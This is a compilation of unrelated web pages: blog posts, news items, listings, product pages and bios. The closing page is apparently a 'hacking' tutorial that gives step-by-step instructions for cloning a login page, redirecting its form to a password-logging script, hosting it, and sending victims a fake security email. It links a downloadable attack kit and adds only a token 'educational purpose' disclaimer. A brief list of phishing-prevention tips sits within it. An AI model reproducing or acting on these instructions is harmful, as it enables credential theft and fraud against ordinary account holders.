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Kurt Metzger is an American comedian, actor, and writer. He wrote for Chappelle's Show and Inside Amy Schumer. He is known for his brash and unapologetic style of comedy that makes him unique.
In this episode, we analyze some of Metzger's best jokes and talk about our opinion on controversial content. One thing he does often is he will play with the energy of the audience, meaning he will back down after saying something offensive and build on it. Kurt often oversimplifies words or uses descriptive language, like for example when he describes kissing as "pressing lips as mommies and daddies." Check out the entire episode to learn more.
Follow Kurt's social media to get updates on his tour dates


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Today is one year exactly of the move to Portland. It's been fun to see Artisan Physical Therapy expand. What a year it's been! We won't get into all that here, but what better way to celebrate the stability and energy that comes with living somewhere a year than to do a daily challenge? Think of it like New Year's resolution, even though we don't do those at APT.
Are you fit to run?
Or do you run to get fit?
This month - National Physical Therapy month - I (Liz) have challenged myself to run everyday. I am quite an active person and disciplined in that way. I know that movement is important - strength, flexibility, endurance, etc, but I allow myself a lot of freedom to follow my whims in terms of what movement activity I do and for how long and where I do. it Sometimes I bike, sometimes yoga, sometimes a bootcamp class, sometimes hiking, sometimes a trail run - you get the point. But to say that I'm going to do something E.V.E.R.Y. day, now, that's something else!
Before deciding to run everyday, I concluded that I think I'm fit enough to do that without getting injury. Now there are different ways to think about running. Some think - "I'm going to start running and regularly, in order to get in shape." Others (Liz raises hand) believe that you need to be fit to run without getting injury.
So how do you get fit enough?? Strength is important! Hip strength, core strength, and lower leg strength. We recommend strength training for a few months before beginning to run, if that hasn't been a part of your routine recently. Flexibility is also important. Particularly the ankles/calves and hips. Not sure how to do those things? A PT can help show you the way to reach your goals!
October has 31 days. 31 days of running in a row, plus other activities on top of it!
It's October 4th, so we are 4 days into October, so 4 runs down (well, 5 days actually because I ran the last day of September too). What else did I do today? Biked to the downtown office, did a personal training/strengthening session, strong vinyasa yoga for an hour - all before my 1.5 mile run. So that's a full day!
But 1.5 miles isn't a long run. So far 3 out of the last 4 days have been 1 to 1.5 miles runs. (I want to stay healthy, so I'm building into it).
Where am I finding all the time to pound the pavement and hit the trail, well, I'm also staying off personal social media for the month. Voila - the time appears.
Why do this? I think it's important to have goals and periodic fitness goals can push you a bit further than when just being directed by your daily exercise whims. I'm hoping to get a nice base of strength in my gluteal and foot/ankle muscles under me and help myself to recover faster. I'm curious to see if I'll be running faster by the end of the month. I'm hoping this daily discipline with spill over into other areas to help with focus on goals and under things important.
The totals so far for these 5 days are: 2 hours of running, 12.25 miles, 9.64 average mph and 1202 kcal spent. (I'm also tracking heart rate and how I feel, among other things). And I'm finding extra time in the day and getting to bed earlier than usual and sleeping well.
Have you ever done a daily personal physical challenge? What did you do? How long did you do it for? What was the end result?
If there's enough interest, we will post updates.
Let's Get to the Source, and TOGETHER, Let's Get Moving

subset: commoncrawl


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The Deed Becomes the Word: Canadian Media and Writing on the Spanish Civil War
A single-author scholarly monograph.
Embassy Cultures: Building the Libraries and Cultural Life of Canada's Foreign Missions
A series of chapters/articles on literature and the state.
Dorothy Livesay's Right Hand Left Hand
A co-editied scholarly edition.
Canada and the Spanish Civil War
An editorial/bibliographic/Digital Humanities project, co-directed with Emily Robins Sharpe. [info]
"Modernism, Antimodernism, and the Song Fishermen." Canadian Poetry: Studies, Documents, Reviews 70 (Spring/Summer 2012): 15–44. [visualisation]
Writing Left: The Emergence of Modernism in English Canadian Literature. Diss. Dalhousie University, 2011. [visualisation]
"F.R. Scott and the Emergence of a Poetics of Institutional Critique." Canadian Poetry: Studies, Documents, Reviews 66 (Spring/Summer 2010): 68–86. [visualisation]
"From Transnational Politics to National Modernist Poetics: The Spanish Civil War Poetry in New Frontier." Canadian Literature 204 (Spring 2010): 44–60. [visualisation]
Canada and the Spanish Civil War – A Virtual Research Environment (CSCW)
An editorial/bibliographic/Digital Humanities project, co-directed with Emily Robins Sharpe (Keene State) and Kaarina Mikalson (Dalhousie).
CWRC—Canadian Writing Research Collaboratory
The Canadian Writing Research Collaboratory (CWRC, pronounced "quirk") / Le Collaboratoire scientifique des écrits du Canada (CSÉC) is funded by the Canada Foundation for Innovation's Leading Edge Fund to establish an online infrastructure for literary research in and about Canada. www.cwrc.ca
DHSI—Digital Humanities Summer Institute, UVic—Returning Participant.
The Digital Humanities Summer Institute at the University of Victoria is an annual forum for discussing and learning about new computing technologies. www.dhsi.org
My DHSI Courses:
"Drupal for Digital Humanities Projects."
"Digital Pedagogy in the Humanities."
"Issues in Large Project Planning and Management."
"Digital Editions."
"Text Encoding Fundamentals and their Application."


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Your Pilates teacher training program most likely provided you with a manual of exercises organized by apparatus and levels and yet when you enter the world of teaching, there is so much more to teaching actual sessions!
This is especially true when working with new clients for the first time, and that first session is the one chance we get to make a great first impression.
In this workshop we will look at the experience of the first-time client and discuss a near-perfect menu for just about anyone who walks through the door. It might seem impossible to plan a satisfying and interesting session for a person you have never met, but you will see, it is possible and a satisfying and creative experience. After this workshop you will have the tools to maximize the time your client is learning Pilates and working out, and minimize confusion, mishaps and teaching fatigue, all to add up to an enjoyable and effortless first start!
For experienced teachers you might already know that a full schedule with committed clients can be a very rewarding experience. It can also be very draining in ways we never imagined. We will keep that schedule full with greater ease and fascination by going back to the beginning. We will find more detail, deeper meaning and see more connections in the Pilates experience we are creating and developing with our clients.


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Armin Racing Chronograph
Last October we announced to you that Armin Strom and the Virgin Racing F1 team would soon be in cahoots in the paddock. Well, the amorous banter has ceased and here's a peek at their first off-spring, the Armin Racing Chronograph. Virgin Racing F1 are now Marussia Virgin Racing F1 and this is an Armin Strom, Armin but these are mere trivialities, here's the watch – a big, bold sporty timer.
The case is titanium with matt black PVD coating, 44.4mm with sapphire front and back. The Marussia Virgin F1 colours – red, black and white feature strongly but the branding is fairly subtle all the same. It is hard to make out from the press images, but there is also a date window at 9 o'clock. Inside is a mechanical movement with chronograph function and power reserve of 46 hours.
The Armin Strom Racing Chronograph comes presented on a black leather or black and red rubber strap with PVD coated buckle.


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LG's Optimus 3D is one of the most hotly anticipated new smart phones for 2011, thanks to its glasses-free 3D screen and dual-lens camera. Now it has made a starring appearance in a new pre-Mobile World Congress video, showcasing its pair of cameras and promising "a smart phone that sees the world like we do".
The video, published by Pocket-lint, is just 23 seconds long and low on specs. It's also (almost) mercifully free of the over-dramatic voiceover and broken grammar of its previous teaser video, which appeared on LG's website last week. Here's the new vid:
Alas, the slogan 'Something Bigger is Coming On Your Way' appears to have been dumped, which is good for the Optimus 3D's credibility, but a blow to the gaiety of the tech nation.
The video doesn't give any more details on the Optimus 3D's specs, but thankfully LG has already outed several of the phone's key features, including the dual-lens camera, the fact that you won't need a pair of glasses to watch 3D content on the screen, and the promise of HDMI and DLNA connectivity for shunting videos onto bigger screens.
Our key question remains where we'll get this 3D content from, and how we'll get it on to the device. Downloading a 3D film over the 3G network is a non-starter, and while it's do-able on Wi-Fi, LG hasn't said whether it will have its own store app on the Optimus 3D, or whether we'll have to buy films on our PCs and sideload them on to the device.
Early next week, we should know more on that score. The assumption is that the Optimus 3D will run Google's Android OS too, but that will become clear then too.
What's that? You'd like to see the previous trailer with the cheesy voiceover and comedy slogan? Be our guest.


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Do you sometimes look in your crafting / art supplies cupboard and feel a little overwhelmed / guilty at all the extra things you have sitting around, just waiting for the right project. I know I do. I have more fabric than I'll ever, or my kids will ever use. And my tastes have changed, along with my interests and time doing certain things.... which means I have supplies in my cupboard (and packed in boxes) that no longer have a purpose for me. But I know there's someone out there who wants it and will make beautiful things out of it. Which is where Stash Less Create More comes into play.
A short while ago, almost on the spur of the moment, I started a new instagram account, along with Fiona (an online friend, with a private account). I've been meaning to photograph & sell my excess crafty, crafting supplies (fabric and what-nots), and while I was re-folding fabric Fiona was doing a de-stash sale on her account. Being a private account means that Fiona can only sell to her followers, rather than larger audience; and me being more of a curated(ish) account means that I don't want to post lots of pictures of fabric for sale on my main account. SO, like a bolt of lighting I came up with the idea of creating a community account where anyone and everyone could sell their extra supplies - in the crafty world called their stash.
But it sorta goes deeper than just that, and I'm keen to work on taking it deeper over time. It's not just about selling and buying, it's about thinking about buying second hand before you buy new (and buying ethical before you buy mass produced). It's about shopping from your neighbours and sharing our supplies. It's about us all looking at the things we're hoarding / holding onto and asking ourselves if we really do need them. So - it's about encouraging people do to more creating and use things up, and if we're not going to use them then to share them with someone else. It's part of a simplifying of life....and a re-think of possessions.
Please do join our community - share the word with your creative friends and see what fabulous things you might find lurking in someone else's craft cupboards - it could just be that perfect piece of fabric (zip, button, stamp, book, yarn, etc) you've been looking for! If you're keen to sell your supplies you can contact me via our Instagram Stash.Less_Create.More or even email me at firstname.lastname@example.com


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Benazir could have died of gunshots: Musharraf
Washington, Jan 6: Reiterating that slain ex-premier Benazir Bhutto was herself responsible for her assassination, Pakistan President Pervez Musharraf indicated that she might have died of gunshots.
When asked whether a gunshot could be the reason of Benazir"s death, Musharraf said, "Yes, yes," adding, "Yes, absolutely, yes. Possibility." "For standing up outside the car, I think it was she to blame alone. Nobody else. Responsibility is hers," Musharraf said in an interview to 60 Minutes programme of the US-based CBS news.
When prodded by the interviewer about the security of Benazir, who was assassinated in Rawalpindi on December 27, Musharraf said that the government did everything for her security, "Yes, yes absolutely. And you have to…remember…she had the threat. So she was given more security than any other person."
Meanwhile, a Scotland Yard team from Britain has arrived in Pakistan to assist into the investigation of Benazir"s death.


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Truth be told, I hoped Love Always, Kate would hit best seller's status. But let's face it, that's a tough order to fill, especially in the NA (new adult) category and this being a debut novel. I thought, "Maybe after it's been out for a year or so..."
My baby is only two weeks old. She's still little and vulnerable, and be that as it may, on her two week birthday, she exceeded my expectations!
#84 in New Adult
#84 in Inspirational!
Now, that all happened before I got up that morning, so I didn't get a screen shot of my baby blowing out her candles until later, when she dipped a little.
And thanks to all of you, she's hung in there on that best seller's list, the little baby that she is, on a playground filled with much bigger kids. You amazing readers have made my year!
A Great Many Thanks
Today, most of the marketing for a novel is left up to the author. Thanks to social media, this isn't that difficult to do. Just time consuming.
Less than three weeks ago, I signed with Limitless Publishing for my debut novel, The Spirit. (Which will be followed by The Body and The Soul.) Before that, I didn't have much of a social media presence as an author. But in that short amount of time, I've seen a huge increase in followers on Facebook, Twitter, and Goodreads.
And it's all because of YOU!
Even without a cover, a number of you have added The Spirit to one of your shelves to read in the future, and I thank you for that. Thank you. Thank you!
I am dedicated to keeping my pages and blog up to date so you can know where I'm at in the publishing process.
I can't thank you enough for your support!
Kudos to you!
Musings, news, and other random stuff
June 2018


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100 Harbor Place unit 204 Pl
Dadeville, AL 36853
Status: Pending
2 beds | 2.5 baths | 1390 sqft
1 / 14
Property Description
Beautiful view of the Harbor and convenient to marina. Easy access for pets, kids or elderly. Bottom floor unit being sold furnished with private deep water boat slip. Lots of upgrades.
Contract Information
Current Price: $285,000
Status: Pending
Begin Date: 2019-01-04
List Price: $285,000
Deeded: Deeded
Under Contract Date: 2019-08-05
Photo Available: Y
Occupant: Owner
Address Information
House Number: 100
Street Name: Harbor Place unit 204
Street Suffix: Pl
State/Province: AL
Postal Code: 36853
County: Tallapoosa
Map Zone: 2
Geo Lat: 32.738947
Geo Lon: -85.818074
General Property Description
Book Section: Residential
Realtor.com Type: Residential Condo/Townhouse
Waterfront: Yes
Lake Name: Lake Martin
Golf Course: N
Condo/Villa/Townhouse: Condo
Total Bedrooms: 2
Total Bathrooms: 2.5
Total Full Baths: 2
Total Half Baths: 1
Total SqFt.: 1390
SqFt. Source: Courthouse Records
SqFt. 1: 659
SqFt. 2: 731
Year Built: 1989
Style: Condo
Mfd Home: No
Stories: 2
Garage Remarks: Parking Space
Lot Remarks: flat
Condo Y/N: Yes
Condo Name: Villas on The Harbor
Townhouse Y/N: No
Townhouse Name: N/A
Villa Y/N: No
Villa Name: N/A
Legal and Taxes
Subdivision: StillWaters
Sub-Neighborhood: None
Area: 2(two) StillWaters/Barrons Bridge
Schools: Call Superintendent
Directions & Remarks
Directions: Thru main gate Stillwaters, left at second stop sign, left just before the marina into Villas on the Harbor, second building on right
Hot Sheet Comment: boat slip furnished
Property Features
Waterfront Features: Boat Slip
Listing Office: Fuller Realty at Lake Martin, Inc.
Listing Agent: Donald Fuller, Jr.
Last Updated: August - 06 - 2019
Information deemed reliable but not guaranteed.
Friday 20th of September 2019 02:10 PM


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Jackson's Top Burger Tour
Katie Howerton
We've all been there: It's a Friday night, and you're craving a burger like nobody's business. Fast food won't suffice, and while local staples like Burger Barn always hit the spot, you're looking for something a little more unique. It begs the question: What is Jackson's best burger?
Well, in honor of the upcoming National Cheeseburger Day, we're taking you on a tour of three of Jackson's most creative and tasty burgers—but only you can decide which reigns supreme! Try them out for yourself on the holiday on Monday, September 18; take the whole fam to split a burger at each of the locations, then click here to cast your vote. Winner will be announced following the event on Tuesday, September 19. Let the battle begin!
Angus Border Burger
Coyote Blues | 4 Stonebridge Boulevard | 731.660.0603
Meat: 1/2 lb. Angus beef
Bun: Jalepeño & cheese bun
Toppings: Bacon, monterey jack, cheddar, lettuce, tomato, red onion, fresh jalepeños, guacamole, BBQ sauce, chipotle aioli
Tasting notes: Sweet, tangy, colorful
Learn more: Website | Facebook | Instagram
After a few years of serving up three burgers at their restaurant, Coyote Blues decided to put all the best things in one place with their Angus Border Burger. Ask the waiter for a few extra napkins, because this burger is one heck of a beautiful mess.
I've had a guac burger, I've had a barbecue burger, and I'll always take some chipotle aioli—but I've never had all three flavors in one dish. It turns out they combine amazingly, though, and when you take a bite into this big boy, you'll be surprised to find it more sweet than spicy. Now, we will warn you, because the jalepeños are fresh and not pickled, they sure have a kick, but if you've got a more tame palate, just get it without the jalepeños, and you'll be just fine.
According to manager Barry Nabours, the bun is what makes this burger stand out: a soft, cheesy jalepeño bread that tastes more like a sweet corn muffin than a hamburger bun. And with classic Mexican toppings like red onion, tomato, and shredded lettuce, you'll get all the Tex Mex flavors you're craving in an American package. (Fries on the side, of course.)
When you order this burger, make sure to savor its incredible texture and diverse flavors, from the toasted but pillowy bun to the salty crunch of the bacon to tang of the barbecue combining with the creamy spice of the aioli. But don't think the fixin's will get in the way of the handmade Angus patty; you won't be disappointed (or hungry for dessert).
PB&J Burger
Mulligan's | 1364 Union University Drive | 731.660.6595
Meat: 1/2 lb. beef
Bun: Mulligan's secret sweet bun
Toppings: Peanut butter, grape jelly, bacon (upon request)
Tasting notes: Creamy, sweet & salty, buttery
Learn more: Website | Facebook | Instagram
When Mary Truett bought Mulligan's in 2010, little did she know that a short seven years later they'd be reopening in a snazzy new space and expanding their menu—specifically their burger menu. As Jackson's only Irish pub/tavern, Mulligan's is proud of the flavors they spotlight from across the pond, but they aren't afraid to invent something of their own, too . . . like the PB&J Burger.
Mary is proud of all the "Mully Burgers" they offer, such as the Chili Burger, Black & Bleu, and "Green Irish" smothered in guacamole, but she always encourages customers to add toppings to their heart's delight—but I couldn't resist trying the PB&J. If you thought a simple half-pounder would fill you up, you ain't seen nothin' yet. Not only is the peanut butter thick and suggested bacon a generous serving, their secret sweet bun is nearly as big as the burger and will bring you back to Sunday afternoon dinners at Grandma's house. The grape jelly gives the perfect amount of sweet tang, and the accompanying homemade potato chips are the perfect compliment.
"I highly recommend extra napkins," Mary told me with a wink, and I have to agree. You're sure to make a mess when you take a bite, and I suggest stopping about halfway through for leftovers unless you want to take the rest of the day off just to recover from the feast. And if the peanut butter starts to get a little sticky, make sure to wash it all down at the bar.
This is a burger full of matches made in heaven: sweet and salty, creamy and crunchy, and even all three meals of breakfast, lunch, and dinner! And as crazy at it may sound, I can promise you won't be able to get enough. Make sure to stop by for one on "Burger Day;" every Monday burgers are just $8.99!
The Blues Burger
Rock'n Dough Pizza & Brew Co. | 16 Jackson Walk Plaza | 731.300.0404
Meat: Marmilu Farms blackened beef
Bun: Pretzel bun
Toppings: Bleu cheese, arugula, truffle mayo, balsamic reduction
Tasting notes: Sharp, bold, buttery
Learn more: Website | Facebook
Sure, Rock'n Dough may be better known for its pizza, but don't let them fool you; they can make a burger like nobody's business.
Manager Trevor Jones let me know that as their menu has matured, Rock'n Dough has decided to stick with a music theme when it comes to their burgers, offering "The Classic," "The Alternative," and—our personal favorite—"The Blues." And just like blues music, this burger is sophisticated and hits some innovative notes.
First to note is the blackened beef patty, giving some spice and crunch without distracting from the pure flavor of the meat. (Did we mention that you can get local beef from Marmilu Farms for just an additional $1?) Unlike your typical slice of American or cheddar, bleu cheese crumbles provide for a strong and sharp flavor, but its creaminess and the way it plays with the other toppings prevent it from being too overpowering. The hearty bed of arugula that tops the burger provides for a slightly bitter but oh-so-subtle compliment to the cheese, and the drizzle of balsamic and thin swipe of truffle aioli add just the right bit of tang and moisture to combine everything in a dramatic way.
Holding it all together is Rock'n Dough's unique pretzel bun: buttery on the outside, soft and chewy on the inside, and toasted in between to better keep the burger in one piece. And don't forget about the side of their famous house-cut fries that are sure to make you swoon. Plus, if you're a fan of classic burger toppings, don't worry; their served on the side for you to add as desired (including some mean house-made pickles).
Everything about this burger is classy, sharp, and ever so decadent—and is bound to go real nice with a cold beer from the brewery. Keep an eye out for some exciting events and expansions coming up in the future for this Jackson favorite.
And the winner is . . .
Coyote Blues!
Thanks for voting!
Originally from Murfreesboro, Tennessee, Katie Howerton moved to Jackson in 2011 to study Graphic Design and Drawing at Union University. She discovered Our Jackson Home in January 2015 and used it as a guinea pig for her senior design project, creating the first issue of Our Jackson Home: The Magazine. After graduating she was given leadership over Our Jackson Home at theCO, where she now runs the blog, designs the magazine, and coordinates events. She and her husband Jordan live in Midtown and are active members of City Fellowship Baptist Church.
Photography by Katie Howerton.


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A U.S. appeals court ruled that Google Inc's Motorola Mobility unit cannot enforce a patent injunction that it obtained against Microsoft Corp in Germany, diminishing Google's leverage in the ongoing smartphone patent wars. The injunction would have barred Microsoft from "offering, marketing, using or importing or possessing" in Germany some products including the Xbox 360 and certain Windows software.
- Read the article: Reuters


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Posted on June 28, 2018 in Home Improvements
Selling a house used to be a simple task in the past when all you had to do was put up a "for sale" sign out on the yard and let anyone interested to come and check out the property. Today, however, the complexity, aggressiveness and knowledge of buyers is much higher and in the ever-increasing competition of the real estate industry, you need to do all you can to get your property in the best shape possible if you want it to get sold for the top dollar. While the everyone does the basics of cleaning the place up and getting rid of the clutter, there are a few aspects that buyers and realtors pay an extra level of attention to and in this article, we will discuss about a few of these.
A welcoming exterior
For a buyer to even consider about stopping by your house on a staging day, you need to make the outdoor space of it as appealing as possible. Start by giving the gate a fresh touch of paint and displaying the number of the house in a distinct manner. Buyers must walk through your front yard before they reach the house and wat they get to see during this journey should send a welcoming message that will encourage them to see more of it. Loosely hanging power lines over the garden is never a pleasant sight and these must be fixed with the help of a level 2 electrical contractor Sydney before the all-important staging day.
The roof
According to expert realtors who has been in the industry for several decades, a problematic roof is an obvious deal breaker in most situations. Given the importance of the structure to the rest of the house and the high cost of having to replace one, buyers will do the best they can to avoid walking into a money-pit with a broken roof. Therefore, maintain it properly by regularly checking the roof for any problems and get them fixed asap before they become more serious. In addition to cracks and leakages, if the power lines are running dangerously close to the surface of the roof, hire an overhead power lines contractor who is authorized to fix it. Make the space look bigger
If you feel like your house is too small in size to compete with the rest of the properties in the area, this trick will certainly come in handy. You can create the illusion of a much bigger space inside the living space by hanging floor-length curtains over the windows and coloring the walls with a light-colored paint to make it look a lot more spacious than it actually is. A spacious kitchen is sure to boost your chances of making a successful sale for a great price and for this, you can employ as many mirrored surfaces as possible inside the kitchen area. The same can be done to the bathroom, especially if it's a little too small.
Your Home To Go Further In Style image
Posted on June 19, 2018 in Home Improvements
Your home is where you would want to be staying in most of the time and it is very much preferred that you do so. This is the environment and setup for which you have got used to. Sometimes this setup might change here and there and you need to adjust to it accordingly.
You can bring about a lot of things in order to take action with regard to it. Bathroom renovations Adelaide are a great way to add some different style to your home where you can relax amidst a comforting shower. This would definitely have been in your mind for a very long time and now you can think of it as a highly possible task.There are a lot of modifications you can do within the bathroom. You can replace the fittings to be according to your choice and to stick to that in all forms. It would make it appear much better than the usual of what you have got so much used to, seeing it day in and day out.
You might be thinking of good home extensions in quite a serious manner, with all the options you have been faced with in this regard. It is to be given prominence by all means and you know that you can help achieve it in every possible way. This would be how expectations would go on for long and would survive in such a state where it is the usual which goes on.You might be able to realize anything and everything, knowing what it is going to bring you and you will live up to it. It can be taken to the level of which it needs to be considered of in very serious terms. You need to give it the place it deserves to make it count a lot for all what it does. This does mean that there would be a lot of things tallying along with it to make sure that things are handled appropriately. You could let it be in just the form it is in and make sure that it is going to be so.
This would be evident in everything else that you plan to do with respect to this subject matter. It is one of the best things that you can expect for all that it is worth and you know that for a fact. It will surely be the type of thing which goes on in a way which is good for all in connection with the entire thing.


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Is Barron Trump At The Republican Convention? The Youngest Child Might Be Feeling A Bit Left Out — UPDATE
The GOP convention is now in its third day, and there's already been a lot of drama. It's also been a national audience's introduction to the Trump family, whether you're talking about Melania, Eric, Ivanka, Tiffany, or Donald Jr. We've already seen those four of GOP nominee Donald Trump's children on the scene at the RNC, as well as his wife, and all five will have given speeches by the time the convention end. But what about the youngest Trump kid? Will Barron Trump be at the Republican National Convention this year?
Barron is 10 years old, the only child of Melania and Donald — the other Trump children are from the real estate magnate's previous marriages, to Ivana Trump in 1977, and Marla Maples in 1993. He's the only of Trump's children to still be, well a child — Donald Jr. is the oldest of the clan at 38, while the second-youngest is Tiffany at 22.
Update: Barron Trump was spotted walking into the RNC with father Donald and mother Melania on the final night of the convention, about 40 minutes before Mr. Trump was expected to deliver his nomination acceptance speech. The trio arrived via motorcade.
Earlier: As of yet, there has been no sight of Barron at the Republican National Convention. He was also notably absent from the first photo of the Trump and Pence families together, though that generated less attention than the fact that his mom wasn't there, either.
Needless to say, with all of the other kids getting sweet speaking roles, young Barron might be feeling a little let down by this — plenty of people on social media are wondering where he's at, too. How long until the Trump family lets a budding star meet his public?
Alas, for the time being, it seems like the youngest Trump is staying away from the spotlight. It does make a kind of sense, though, him only being 10 and all. But his brothers and sisters are around to fill the void — Donald Jr. and Tiffany have already given their speeches to the assembled crowd at the RNC, and Eric and Ivanka are yet to come.
Perhaps needless to say, Ivanka is the real star of the Trump children, being the most charismatic and well-regarded of the lot, and that's reflected by her prime-time speaking slot — she'll be going up on Thursday night, in advance of her father's big acceptance speech. If Barron's ever going to make an appearance, you'd figure it'd be then. But rest assured: even though any of you who're clamoring for a glimpse of eventual 2042 Republican presidential nominee Barron Trump might be disappointed, there's still some intrigue and anticipation left in Cleveland.


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For product inquiries, wholesale requests, studio visits, or just to say hello please use the form on the right to contact us.
Thank you for your message! We will get back to you soon. All the best, Abby + Eric
119 Braintree Street
Boston, MA, 02134
United States
Our classic tumbler holds approximately 12oz of your favorite cold or warm beverage, yet is equally as lovely used as a flower vase too. . Each tumbler is made from a highly durable porcelain clay and is glazed in Dune, a warm, sandy matte cream. Listing is for one tumbler.
Approx dimensions 5"H x 3"W.


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Why Exercise Won't Make You Thin/
Could pushing people to exercise more actually be contributing to our obesity problem? In some respects, yes. Because exercise depletes not just the body's muscles but the brain's self-control "muscle" as well, many of us will feel greater entitlement to eat a bag of chips during that lazy time after we get back from the gym. This explains why exercise could make you heavier — or at least why even my wretched four hours of exercise a week aren't eliminating all my fat. It's likely that I am more sedentary during my nonexercise hours than I would be if I didn't exercise with such Puritan fury. If I exercised less, I might feel like walking more instead of hopping into a cab; I might have enough energy to shop for food, cook and then clean instead of ordering a satisfyingly greasy burrito.
The problem ultimately is about not exercise itself but the way we've come to define it. Many obesity researchers now believe that very frequent, low-level physical activity — the kind humans did for tens of thousands of years before the leaf blower was invented — may actually work better for us than the occasional bouts of exercise you get as a gym rat. "You cannot sit still all day long and then have 30 minutes of exercise without producing stress on the muscles," says Hans-Rudolf Berthoud, a neurobiologist at LSU's Pennington Biomedical Research Center who has studied nutrition for 20 years. "The muscles will ache, and you may not want to move after. But to burn calories, the muscle movements don't have to be extreme. It would be better to distribute the movements throughout the day."
The article makes it clear that exercise is linked to appetite, and it even suggests that exercise is linked to rest. It doesn't explain that exercise is linked to sleep or our appetite for stillness. Chinese Martial Arts, Health, Daoism 101 tells us that exercise, food, rest and sleep function as four interacting appetites. Change one, and you change the others. The quickest, most effective way to stimulate hunger is to exercise. So yeah, intense vigorous exercise is likely to make you want to eat more. It's also likely to make you crave stillness and help you sleep. These four regulate each other!
The article talks about people forcing themselves to run or do short bursts of burn and sweat at the gym. In my book, that's a sure sign of a problem. Exercise should be something you have an appetite for. If you're healthy, your body will tell you how much exercise you need and how vigorous it should be. I pop out of bed in the morning with an appetite to stand still for an hour in the dark cool air, followed by a couple hours of qigong and baguazhang. If that's not enough my body will tell me by giving me ants-in-my-pants later in the day.
Burning-out your muscles three or four days a week at the gym will de-regulate your appetites! Similarly, if you stay up late and drinking beer, the next morning you'll want to move less. I don't mean to make it sound simple or easy. We humans have social appetites too! And competitive appetites, and most of us have an occasional craving for the taste of risk and danger. How we manage all of this stuff together, as a single subject, is the field of study. Chinese Martial Arts is social, and sometimes dangerous. It helps us find our natural appitite for stillness and it gives us a context for cultivating it. It enlivens our sensitivity to how different foods make us feel, move, and sleep.
How intense should a workout be? It's a tough question to answer because it has to match up with everything else you are doing. From age 18 to 30 I worked out 8 hours a day: Kungfu, dance and bicycle riding in between. I did that much because I wanted to, because it felt like the right amount of movement. But would it have been possible to focus all that energy into something more conventional like working the floor of the Stock Market? Maybe.
The beauty of Internal Martial Arts is that as we get older, we can still get the intensity of circulation and whole body stimulation without sweating. That's right, I try not to sweat three month out of the year. Traditionally, Spring time is the only season internal martial artists break a sweat. The muscles and sinews can all be moved around and animated without having to scrunch up your face with exertion, strain or pain.
I like that the author of the Time article mentions her tendency toward "Puritan fury." We ignore our ideas about what we think we are at our own peril. If you have an appetite for self-torture, for instance, it's a lot healthier to get that out of the way in a poorly aligned horse stance between 6 and 7 AM than it is to bring it with you to your job, or take it home to your kids.


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Radisson Blu Residence
The Radisson Blu Residence, Dubai Marina is a luxury residence located in the heart of the Dubai Marina. It is just minutes away from Jumeirah Beach, several tourist attractions, restaurants and shopping malls. The Radisson Blu Residence is fully furnished and equipped with the Italian décor of Matteo Nunziatti. The Residence offers 151 apartments comprising of studios, one-bedroom and two-bedroom residence all with balconies which feature panoramic views over the Marina. Radisson Blu Residence is 35 kilometers away from the Dubai international airport. Hotel Rooms: 151. Hotel Chain: Radisson Blu.


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Lee is excited to join BHD as the newest addition to the team. Lee recently left a nearly two decade long career in the car business as service and parts advisor and manager.
Most recently he was with G&G Mazda/Hyundaias service manager.
Lee also has had a long-time background in the retail liquor business and bartending. In addition he is a member of the Depot Theater Company of Dodge City serving in both on and off stage roles.


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What Is Phishing ?
The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the
user into surrendering private information that will be used for identity theft.
The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords
and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,
however, is Bogus and set up only to steal the User's information.
Phishing attacks are Trying to steal your Money !!!
Phishing Scams Could Be-
ü Emails inviting you to join a Social Group, asking you to Login using your Username and Password.
ü Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.
ü Emails containing some Information of your Interest and asking you to Login to Your Account.
ü Any Email carrying a Link to Click and asking you to Login.
The Phishing Hack Starts Now. this Hack example is for orkut account.
Step 1:- Download the necessary files Which you will need during the phishing attack. This file is a .rar file which
includes 3 files named hackingtech.php, hackingtech.txt & ServiceLogin.html and also consist a folder in which
there are support files for ServerLogin.html
Step 2:- Unrar the download pack named orkuthacking.rar any where on your computer.
Step 3:- Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" in any
web hosting site..
You will have to create a sub-folder in the web hosting site's directory. Name that folder as "ServiceLogin_files" and
upload the 2 images of the pack in that folder. (it must support PHPs.)
>>> You can choose one of the following web hosting Company to upload the Folder.
"You can Download the pack From Here: http://www.hackingtech.co.tv/orkuthacking.rar ".
Step 4:- Your work is over now. Just give the link ofurfake page to the victim and whenever he/she will type the password
and sign in . Password will be stored in "hackingtech.txt"...
General form of the fake page's link
Step 5:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkut
the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see how to
send fake email within short time.
Now If You want to create your own phishing page the follow the steps below.
Step 1:-Open the website whose phishing page you want create.
Step 2:-Then right click any where on the page and select view source.
Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]
Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "
Step 7:-Replace the link between this red quote with the link you got by uploading the file hackingtech.php and it should
be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "
Step 8:-Now Save this as serverlogin.htm
Step 9:-Now Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" and
serverlogin.htm file in any web hosting site you want.
Step 10:-You are done just go to the link of the file serverlogin.htm given by your hosting company .
Step 11:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of
orkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see
how to send fake email within short time.
Step 12:-To see the passwords that you have hacked just go to the link of hackingtech.txt given by your hosting company .
Prevention Against Phishing :-
ü Read all the Email Carefully and Check if the Sender is Original.
ü Watch the Link Carefully before Clicking
ü Always check the URL in the Browser before Signing IN to your Account
ü Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.
"Do not use this hack trick in any criminal activities like phishing bank websites and please do not
destroy any ones account this is only for educational purpose".
How To View Hidden Password behind ****
Step 1.First of all open up the webpage on which you wanna show the hidden passwords.
Step 2. Then in the username there must be the name and in the password there must be ********
Step 3.Now to see the password which is behind the ******** Just copy and paste the following JavaScript into the
address bar of the browser and you are done.
